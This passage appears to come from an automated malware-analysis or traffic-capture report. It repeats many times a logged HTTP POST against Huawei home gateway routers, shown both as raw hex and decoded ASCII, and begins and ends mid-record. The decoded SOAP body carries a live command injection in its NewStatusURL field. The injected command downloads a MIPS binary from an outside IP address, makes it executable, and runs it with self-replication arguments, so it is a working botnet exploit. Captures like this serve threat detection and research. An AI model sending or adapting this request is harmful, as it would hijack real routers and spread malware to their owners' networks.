/tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol 